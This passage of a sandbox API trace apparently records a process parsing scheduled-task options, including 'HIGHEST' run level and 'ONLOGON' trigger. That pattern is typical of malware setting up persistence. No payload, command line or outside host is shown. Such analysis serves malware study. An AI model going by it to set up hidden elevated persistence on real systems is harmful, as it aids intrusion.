[0090.606] lstrlenW (lpString="|f|") returned 3 [0090.606] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0090.606] SetLastError (dwErrCode=0x490) [0090.606] lstrlenW (lpString="p") returned 1 [0090.606] lstrlenW (lpString="p") returned 1 [0090.606] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.606] lstrlenW (lpString="f") returned 1 [0090.606] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.606] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|p|") returned 3 [0090.606] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|f|") returned 3 [0090.606] lstrlenW (lpString="|p|") returned 3 [0090.606] lstrlenW (lpString="|f|") returned 3 [0090.606] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0090.606] SetLastError (dwErrCode=0x490) [0090.606] lstrlenW (lpString="ru") returned 2 [0090.606] lstrlenW (lpString="ru") returned 2 [0090.606] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.606] lstrlenW (lpString="f") returned 1 [0090.606] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.606] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|ru|") returned 4 [0090.606] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|f|") returned 3 [0090.607] lstrlenW (lpString="|ru|") returned 4 [0090.607] lstrlenW (lpString="|f|") returned 3 [0090.607] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0090.607] SetLastError (dwErrCode=0x490) [0090.607] lstrlenW (lpString="rp") returned 2 [0090.607] lstrlenW (lpString="rp") returned 2 [0090.607] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.607] lstrlenW (lpString="f") returned 1 [0090.607] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.607] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rp|") returned 4 [0090.607] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|f|") returned 3 [0090.607] lstrlenW (lpString="|rp|") returned 4 [0090.607] lstrlenW (lpString="|f|") returned 3 [0090.607] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0090.607] SetLastError (dwErrCode=0x490) [0090.607] lstrlenW (lpString="sc") returned 2 [0090.607] lstrlenW (lpString="sc") returned 2 [0090.607] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.607] lstrlenW (lpString="f") returned 1 [0090.607] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.607] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|sc|") returned 4 [0090.607] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|f|") returned 3 [0090.607] lstrlenW (lpString="|sc|") returned 4 [0090.607] lstrlenW (lpString="|f|") returned 3 [0090.608] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0090.608] SetLastError (dwErrCode=0x490) [0090.608] lstrlenW (lpString="mo") returned 2 [0090.608] lstrlenW (lpString="mo") returned 2 [0090.608] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.608] lstrlenW (lpString="f") returned 1 [0090.608] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.608] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|mo|") returned 4 [0090.608] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|f|") returned 3 [0090.608] lstrlenW (lpString="|mo|") returned 4 [0090.608] lstrlenW (lpString="|f|") returned 3 [0090.608] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0090.608] SetLastError (dwErrCode=0x490) [0090.608] lstrlenW (lpString="d") returned 1 [0090.608] lstrlenW (lpString="d") returned 1 [0090.608] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.608] lstrlenW (lpString="f") returned 1 [0090.608] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.608] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|d|") returned 3 [0090.608] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|f|") returned 3 [0090.608] lstrlenW (lpString="|d|") returned 3 [0090.608] lstrlenW (lpString="|f|") returned 3 [0090.608] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0090.608] SetLastError (dwErrCode=0x490) [0090.609] lstrlenW (lpString="m") returned 1 [0090.609] lstrlenW (lpString="m") returned 1 [0090.609] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.609] lstrlenW (lpString="f") returned 1 [0090.609] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.609] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|m|") returned 3 [0090.609] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|f|") returned 3 [0090.609] lstrlenW (lpString="|m|") returned 3 [0090.609] lstrlenW (lpString="|f|") returned 3 [0090.609] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0090.609] SetLastError (dwErrCode=0x490) [0090.609] lstrlenW (lpString="i") returned 1 [0090.609] lstrlenW (lpString="i") returned 1 [0090.609] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.609] lstrlenW (lpString="f") returned 1 [0090.609] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.609] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|i|") returned 3 [0090.609] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|f|") returned 3 [0090.609] lstrlenW (lpString="|i|") returned 3 [0090.609] lstrlenW (lpString="|f|") returned 3 [0090.609] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0090.609] SetLastError (dwErrCode=0x490) [0090.609] lstrlenW (lpString="tn") returned 2 [0090.609] lstrlenW (lpString="tn") returned 2 [0090.609] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.610] lstrlenW (lpString="f") returned 1 [0090.610] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.610] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tn|") returned 4 [0090.610] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|f|") returned 3 [0090.610] lstrlenW (lpString="|tn|") returned 4 [0090.610] lstrlenW (lpString="|f|") returned 3 [0090.610] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0090.610] SetLastError (dwErrCode=0x490) [0090.610] lstrlenW (lpString="tr") returned 2 [0090.610] lstrlenW (lpString="tr") returned 2 [0090.610] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.610] lstrlenW (lpString="f") returned 1 [0090.610] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.610] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tr|") returned 4 [0090.610] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|f|") returned 3 [0090.610] lstrlenW (lpString="|tr|") returned 4 [0090.610] lstrlenW (lpString="|f|") returned 3 [0090.610] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0090.610] SetLastError (dwErrCode=0x490) [0090.610] lstrlenW (lpString="st") returned 2 [0090.610] lstrlenW (lpString="st") returned 2 [0090.610] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.610] lstrlenW (lpString="f") returned 1 [0090.610] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.611] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|st|") returned 4 [0090.611] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|f|") returned 3 [0090.611] lstrlenW (lpString="|st|") returned 4 [0090.611] lstrlenW (lpString="|f|") returned 3 [0090.611] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0090.611] SetLastError (dwErrCode=0x490) [0090.611] lstrlenW (lpString="sd") returned 2 [0090.611] lstrlenW (lpString="sd") returned 2 [0090.611] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.611] lstrlenW (lpString="f") returned 1 [0090.611] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.611] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|sd|") returned 4 [0090.611] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|f|") returned 3 [0090.611] lstrlenW (lpString="|sd|") returned 4 [0090.611] lstrlenW (lpString="|f|") returned 3 [0090.611] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0090.611] SetLastError (dwErrCode=0x490) [0090.611] lstrlenW (lpString="ed") returned 2 [0090.611] lstrlenW (lpString="ed") returned 2 [0090.611] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.611] lstrlenW (lpString="f") returned 1 [0090.611] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.611] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|ed|") returned 4 [0090.611] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|f|") returned 3 [0090.612] lstrlenW (lpString="|ed|") returned 4 [0090.612] lstrlenW (lpString="|f|") returned 3 [0090.612] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0090.612] SetLastError (dwErrCode=0x490) [0090.612] lstrlenW (lpString="it") returned 2 [0090.612] lstrlenW (lpString="it") returned 2 [0090.612] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.612] lstrlenW (lpString="f") returned 1 [0090.612] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.612] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|it|") returned 4 [0090.612] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|f|") returned 3 [0090.612] lstrlenW (lpString="|it|") returned 4 [0090.612] lstrlenW (lpString="|f|") returned 3 [0090.612] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0090.612] SetLastError (dwErrCode=0x490) [0090.612] lstrlenW (lpString="et") returned 2 [0090.612] lstrlenW (lpString="et") returned 2 [0090.612] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.612] lstrlenW (lpString="f") returned 1 [0090.612] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.612] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|et|") returned 4 [0090.612] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|f|") returned 3 [0090.612] lstrlenW (lpString="|et|") returned 4 [0090.613] lstrlenW (lpString="|f|") returned 3 [0090.613] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0090.613] SetLastError (dwErrCode=0x490) [0090.613] lstrlenW (lpString="k") returned 1 [0090.613] lstrlenW (lpString="k") returned 1 [0090.613] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.613] lstrlenW (lpString="f") returned 1 [0090.613] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.613] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|k|") returned 3 [0090.613] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|f|") returned 3 [0090.613] lstrlenW (lpString="|k|") returned 3 [0090.613] lstrlenW (lpString="|f|") returned 3 [0090.613] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0090.613] SetLastError (dwErrCode=0x490) [0090.613] lstrlenW (lpString="du") returned 2 [0090.613] lstrlenW (lpString="du") returned 2 [0090.613] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.613] lstrlenW (lpString="f") returned 1 [0090.613] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.613] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|du|") returned 4 [0090.613] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|f|") returned 3 [0090.613] lstrlenW (lpString="|du|") returned 4 [0090.613] lstrlenW (lpString="|f|") returned 3 [0090.614] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0090.614] SetLastError (dwErrCode=0x490) [0090.614] lstrlenW (lpString="ri") returned 2 [0090.614] lstrlenW (lpString="ri") returned 2 [0090.614] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.614] lstrlenW (lpString="f") returned 1 [0090.614] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.614] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|ri|") returned 4 [0090.614] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|f|") returned 3 [0090.614] lstrlenW (lpString="|ri|") returned 4 [0090.614] lstrlenW (lpString="|f|") returned 3 [0090.614] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0090.614] SetLastError (dwErrCode=0x490) [0090.614] lstrlenW (lpString="z") returned 1 [0090.614] lstrlenW (lpString="z") returned 1 [0090.614] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.614] lstrlenW (lpString="f") returned 1 [0090.614] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.614] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|z|") returned 3 [0090.614] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|f|") returned 3 [0090.614] lstrlenW (lpString="|z|") returned 3 [0090.614] lstrlenW (lpString="|f|") returned 3 [0090.614] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0090.614] SetLastError (dwErrCode=0x490) [0090.614] lstrlenW (lpString="f") returned 1 [0090.615] lstrlenW (lpString="f") returned 1 [0090.615] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.615] lstrlenW (lpString="f") returned 1 [0090.615] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.615] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|f|") returned 3 [0090.615] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|f|") returned 3 [0090.615] lstrlenW (lpString="|f|") returned 3 [0090.615] lstrlenW (lpString="|f|") returned 3 [0090.615] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0090.615] SetLastError (dwErrCode=0x0) [0090.615] SetLastError (dwErrCode=0x0) [0090.615] GetProcessHeap () returned 0x350000 [0090.615] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36ce30 [0090.615] _memicmp (_Buf1=0x36bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.615] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x36d3c0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0090.615] lstrlenW (lpString="LIMITED") returned 7 [0090.615] GetProcessHeap () returned 0x350000 [0090.615] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x10) returned 0x36d680 [0090.615] GetThreadLocale () returned 0x409 [0090.615] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0090.615] GetProcessHeap () returned 0x350000 [0090.615] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36ce00 [0090.615] _memicmp (_Buf1=0x36bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.615] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x36d3c0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0090.616] lstrlenW (lpString="HIGHEST") returned 7 [0090.616] GetProcessHeap () returned 0x350000 [0090.616] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x10) returned 0x36d6a0 [0090.616] GetThreadLocale () returned 0x409 [0090.616] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0090.616] GetProcessHeap () returned 0x350000 [0090.616] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36cdd0 [0090.616] _memicmp (_Buf1=0x36bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.616] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x36d3c0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0090.616] lstrlenW (lpString="MINUTE") returned 6 [0090.616] GetProcessHeap () returned 0x350000 [0090.616] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0xe) returned 0x36d6c0 [0090.616] GetThreadLocale () returned 0x409 [0090.616] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0090.616] GetProcessHeap () returned 0x350000 [0090.616] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36cda0 [0090.616] _memicmp (_Buf1=0x36bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.616] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x36d3c0, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0090.616] lstrlenW (lpString="HOURLY") returned 6 [0090.616] GetProcessHeap () returned 0x350000 [0090.616] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0xe) returned 0x36d6e0 [0090.616] GetThreadLocale () returned 0x409 [0090.616] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0090.617] GetProcessHeap () returned 0x350000 [0090.617] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36cd70 [0090.617] _memicmp (_Buf1=0x36bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.617] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x36d3c0, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0090.617] lstrlenW (lpString="DAILY") returned 5 [0090.617] GetProcessHeap () returned 0x350000 [0090.617] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0xc) returned 0x36d700 [0090.617] GetThreadLocale () returned 0x409 [0090.617] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0090.617] GetProcessHeap () returned 0x350000 [0090.617] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36cd40 [0090.617] _memicmp (_Buf1=0x36bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.617] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x36d3c0, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0090.617] lstrlenW (lpString="WEEKLY") returned 6 [0090.617] GetProcessHeap () returned 0x350000 [0090.617] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0xe) returned 0x36d720 [0090.617] GetThreadLocale () returned 0x409 [0090.617] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0090.617] GetProcessHeap () returned 0x350000 [0090.617] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36cd10 [0090.617] _memicmp (_Buf1=0x36bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.617] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x36d3c0, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0090.617] lstrlenW (lpString="MONTHLY") returned 7 [0090.617] GetProcessHeap () returned 0x350000 [0090.617] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x10) returned 0x36d740 [0090.617] GetThreadLocale () returned 0x409 [0090.617] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0090.617] _memicmp (_Buf1=0x36bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.617] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x36d3c0, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0090.618] lstrlenW (lpString="ONCE") returned 4 [0090.618] GetProcessHeap () returned 0x350000 [0090.618] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0xa) returned 0x36d760 [0090.618] GetThreadLocale () returned 0x409 [0090.618] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0090.618] _memicmp (_Buf1=0x36bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.618] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x36d3c0, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0090.618] lstrlenW (lpString="ONSTART") returned 7 [0090.618] GetThreadLocale () returned 0x409 [0090.618] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0090.618] _memicmp (_Buf1=0x36bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.618] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x36d3c0, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0090.618] lstrlenW (lpString="ONLOGON") returned 7 [0090.618] GetThreadLocale () returned 0x409 [0090.618] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0090.618] SetLastError (dwErrCode=0x0) [0090.618] GetProcessHeap () returned 0x350000 [0090.618] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x1fc) returned 0x36c430 [0090.618] _memicmp (_Buf1=0x36bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.618] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x36d3c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0090.618] lstrlenW (lpString="First") returned 5 [0090.618] _memicmp (_Buf1=0x36bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.619] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x36d3c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0090.619] lstrlenW (lpString="Second") returned 6 [0090.619] _memicmp (_Buf1=0x36bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.619] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x36d3c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0090.619] lstrlenW (lpString="Third") returned 5 [0090.619] _memicmp (_Buf1=0x36bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.619] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x36d3c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0090.619] lstrlenW (lpString="Fourth") returned 6 [0090.619] _memicmp (_Buf1=0x36bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.619] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x36d3c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0090.619] lstrlenW (lpString="Last") returned 4 [0090.619] _memicmp (_Buf1=0x36bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.619] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x36d3c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0090.619] lstrlenW (lpString="First") returned 5 [0090.619] _memicmp (_Buf1=0x36bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.619] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x36d3c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0090.619] lstrlenW (lpString="Second") returned 6 [0090.619] _memicmp (_Buf1=0x36bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.619] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x36d3c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0090.619] lstrlenW (lpString="Third") returned 5 [0090.619] GetProcessHeap () returned 0x350000 [0090.619] GetProcessHeap () returned 0x350000 [0090.619] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d760) returned 1 [0090.620] GetProcessHeap () returned 0x350000 [0090.620] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d760) returned 0xa [0090.620] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d760 | out: hHeap=0x350000) returned 1 [0090.620] GetProcessHeap () returned 0x350000 [0090.620] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0xc) returned 0x36d760 [0090.620] _memicmp (_Buf1=0x36bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.620] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x36d3c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0090.620] lstrlenW (lpString="Fourth") returned 6 [0090.620] _memicmp (_Buf1=0x36bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.620] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x36d3c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0090.620] lstrlenW (lpString="Last") returned 4 [0090.620] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1dc700, cchData=128 | out: lpLCData="0") returned 2 [0090.620] _memicmp (_Buf1=0x36bbb0, _Buf2=0xff901b08, 